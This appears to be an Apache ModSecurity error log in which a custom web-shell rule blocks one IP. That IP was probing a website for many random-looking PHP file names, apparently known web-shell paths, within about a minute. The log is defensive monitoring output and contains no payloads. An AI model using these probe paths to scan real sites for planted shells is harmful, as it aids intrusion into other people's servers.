[Sun Apr 19 02:36:23.947429 2026] [:error] [pid 33517:tid 33536] [client 20.91.197.181:52052] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aePPJ34Zz-rubR1wiZ-56AAAANE"]
[Sun Apr 19 02:36:24.537504 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:52640] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aePPKHFWunkyacYqsD1KXgAAAUQ"]
[Sun Apr 19 02:36:25.065798 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:49995] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aePPKXFWunkyacYqsD1KYwAAAU4"]
[Sun Apr 19 02:36:25.647102 2026] [:error] [pid 60910:tid 60932] [client 20.91.197.181:47412] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aePPKXFWunkyacYqsD1KZgAAAVQ"]
[Sun Apr 19 02:36:26.212790 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:50046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aePPKkH3ayszMLZYflsD8AAAAYw"]
[Sun Apr 19 02:36:26.869766 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:47390] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aePPKnFWunkyacYqsD1KbAAAAUE"]
[Sun Apr 19 02:36:27.507516 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:52669] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aePPK0yD4Jm27Mb3NJiTUAAAAII"]
[Sun Apr 19 02:36:28.042777 2026] [:error] [pid 32165:tid 32185] [client 20.91.197.181:52049] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aePPLKe2vKwEk_N0Brb-iAAAABA"]
[Sun Apr 19 02:36:28.591069 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:47407] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "aePPLHFWunkyacYqsD1KbwAAAUw"]
[Sun Apr 19 02:36:29.210544 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:52654] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "aePPLXFWunkyacYqsD1KcwAAAUY"]
[Sun Apr 19 02:36:29.941177 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:52550] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "aePPLUyD4Jm27Mb3NJiTUgAAAJg"]
[Sun Apr 19 02:36:30.491226 2026] [:error] [pid 32252:tid 32274] [client 20.91.197.181:47415] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "aePPLuXl4Yc-Lt5fJ9iqbQAAARQ"]
[Sun Apr 19 02:36:31.258636 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:47380] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aePPL34Zz-rubR1wiZ-57gAAAMw"]
[Sun Apr 19 02:36:31.810872 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:47368] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aePPL34Zz-rubR1wiZ-58AAAAMA"]
[Sun Apr 19 02:36:32.356768 2026] [:error] [pid 32165:tid 32186] [client 20.91.197.181:52561] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aePPMKe2vKwEk_N0Brb-kQAAABE"]
[Sun Apr 19 02:36:32.981125 2026] [:error] [pid 41277:tid 41298] [client 20.91.197.181:47391] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aePPMEH3ayszMLZYflsD8wAAAZM"]
[Sun Apr 19 02:36:33.539211 2026] [:error] [pid 32166:tid 32203] [client 20.91.197.181:50002] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws53.php"] [unique_id "aePPMZCHNkWwdiZnafLWIQAAAEU"]
[Sun Apr 19 02:36:34.091907 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:50004] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws53.php"] [unique_id "aePPMuXl4Yc-Lt5fJ9iqegAAARI"]
[Sun Apr 19 02:36:34.767016 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:52633] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws53.php"] [unique_id "aePPMuXl4Yc-Lt5fJ9iqgAAAAQE"]
[Sun Apr 19 02:36:35.469965 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:47371] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws53.php"] [unique_id "aePPM0yD4Jm27Mb3NJiTVQAAAIA"]
[Sun Apr 19 02:36:36.091888 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:50044] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws56.php"] [unique_id "aePPNOXl4Yc-Lt5fJ9iqhwAAAQ4"]
[Sun Apr 19 02:36:36.723470 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:52039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws56.php"] [unique_id "aePPNEyD4Jm27Mb3NJiTVgAAAJQ"]
[Sun Apr 19 02:36:37.487735 2026] [:error] [pid 32252:tid 32261] [client 20.91.197.181:52070] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws56.php"] [unique_id "aePPNeXl4Yc-Lt5fJ9iqiAAAAQc"]
[Sun Apr 19 02:36:38.188995 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:52637] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws56.php"] [unique_id "aePPNuXl4Yc-Lt5fJ9iqigAAAQY"]
[Sun Apr 19 02:36:38.936701 2026] [:error] [pid 32252:tid 32263] [client 20.91.197.181:52081] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws58.php"] [unique_id "aePPNuXl4Yc-Lt5fJ9iqjgAAAQk"]
[Sun Apr 19 02:36:39.685007 2026] [:error] [pid 32165:tid 32172] [client 20.91.197.181:52040] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws58.php"] [unique_id "aePPN6e2vKwEk_N0Brb-vgAAAAM"]
[Sun Apr 19 02:36:40.231994 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:55526] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws58.php"] [unique_id "aePPOOXl4Yc-Lt5fJ9iqkAAAARU"]
[Sun Apr 19 02:36:40.867442 2026] [:error] [pid 32252:tid 32259] [client 20.91.197.181:47385] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws58.php"] [unique_id "aePPOOXl4Yc-Lt5fJ9iqkgAAAQU"]
[Sun Apr 19 02:36:41.422436 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:52636] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aePPOUyD4Jm27Mb3NJiTYgAAAII"]
[Sun Apr 19 02:36:41.977799 2026] [:error] [pid 32166:tid 32199] [client 20.91.197.181:52077] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aePPOZCHNkWwdiZnafLWJQAAAEE"]
[Sun Apr 19 02:36:42.558171 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:47410] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aePPOn4Zz-rubR1wiZ-6AQAAAMg"]
[Sun Apr 19 02:36:43.093854 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:52634] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aePPO-Xl4Yc-Lt5fJ9iqlQAAARI"]
[Sun Apr 19 02:36:43.638482 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:55198] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aePPO0yD4Jm27Mb3NJiTagAAAIs"]
[Sun Apr 19 02:36:44.185422 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:50041] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aePPPEyD4Jm27Mb3NJiTbAAAAIY"]
[Sun Apr 19 02:36:44.726900 2026] [:error] [pid 32165:tid 32187] [client 20.91.197.181:52088] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aePPPKe2vKwEk_N0Brb-yQAAABI"]
[Sun Apr 19 02:36:45.267457 2026] [:error] [pid 33517:tid 33540] [client 20.91.197.181:52665] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aePPPX4Zz-rubR1wiZ-6AgAAANU"]
[Sun Apr 19 02:36:45.842600 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:49997] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aePPPUH3ayszMLZYflsD9gAAAY0"]
[Sun Apr 19 02:36:55.003950 2026] [:error] [pid 32165:tid 32185] [client 20.91.197.181:52658] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ardsw.php"] [unique_id "aePPR6e2vKwEk_N0Brb-4AAAABA"]
[Sun Apr 19 02:36:55.584721 2026] [:error] [pid 41277:tid 41280] [client 20.91.197.181:50042] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ardsw.php"] [unique_id "aePPR0H3ayszMLZYflsECAAAAYE"]
[Sun Apr 19 02:36:56.162537 2026] [:error] [pid 33517:tid 33534] [client 20.91.197.181:47411] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ardsw.php"] [unique_id "aePPSH4Zz-rubR1wiZ-6CQAAAM8"]
[Sun Apr 19 02:36:56.745644 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:52044] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ardsw.php"] [unique_id "aePPSEyD4Jm27Mb3NJiThgAAAIQ"]
[Sun Apr 19 02:36:57.385353 2026] [:error] [pid 32252:tid 32264] [client 20.91.197.181:52551] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atfis.php"] [unique_id "aePPSeXl4Yc-Lt5fJ9iqsAAAAQo"]
[Sun Apr 19 02:36:57.952646 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:52612] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atfis.php"] [unique_id "aePPSeXl4Yc-Lt5fJ9iqsQAAARc"]
[Sun Apr 19 02:36:58.486885 2026] [:error] [pid 33517:tid 33532] [client 20.91.197.181:47384] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atfis.php"] [unique_id "aePPSn4Zz-rubR1wiZ-6DwAAAM0"]
[Sun Apr 19 02:36:59.021297 2026] [:error] [pid 41277:tid 41286] [client 20.91.197.181:52068] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atfis.php"] [unique_id "aePPS0H3ayszMLZYflsEEQAAAYc"]
[Sun Apr 19 02:36:59.649282 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:52649] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azpaq.php"] [unique_id "aePPS0H3ayszMLZYflsEFQAAAZU"]
[Sun Apr 19 02:37:00.221902 2026] [:error] [pid 33517:tid 33522] [client 20.91.197.181:47367] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azpaq.php"] [unique_id "aePPTH4Zz-rubR1wiZ-6EwAAAMM"]
[Sun Apr 19 02:37:00.755987 2026] [:error] [pid 41277:tid 41298] [client 20.91.197.181:55491] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azpaq.php"] [unique_id "aePPTEH3ayszMLZYflsEGgAAAZM"]
[Sun Apr 19 02:37:01.296303 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:55496] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azpaq.php"] [unique_id "aePPTUH3ayszMLZYflsEGwAAAYU"]
[Sun Apr 19 02:37:01.870741 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:52622] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bclms.php"] [unique_id "aePPTUyD4Jm27Mb3NJiTiAAAAJU"]
[Sun Apr 19 02:37:02.417023 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:47372] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bclms.php"] [unique_id "aePPTkH3ayszMLZYflsEHwAAAYY"]
[Sun Apr 19 02:37:03.007061 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:52062] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bclms.php"] [unique_id "aePPT0H3ayszMLZYflsEIgAAAYg"]
[Sun Apr 19 02:37:03.574680 2026] [:error] [pid 33517:tid 33535] [client 20.91.197.181:52072] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bclms.php"] [unique_id "aePPT34Zz-rubR1wiZ-6FgAAANA"]
[Sun Apr 19 02:37:04.136309 2026] [:error] [pid 33517:tid 33538] [client 20.91.197.181:49998] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bivvw.php"] [unique_id "aePPUH4Zz-rubR1wiZ-6GQAAANM"]
[Sun Apr 19 02:37:04.750944 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:52064] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bivvw.php"] [unique_id "aePPUHFWunkyacYqsD1KeAAAAVM"]
[Sun Apr 19 02:37:05.305220 2026] [:error] [pid 60910:tid 60923] [client 20.91.197.181:55537] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bivvw.php"] [unique_id "aePPUXFWunkyacYqsD1KfQAAAUs"]
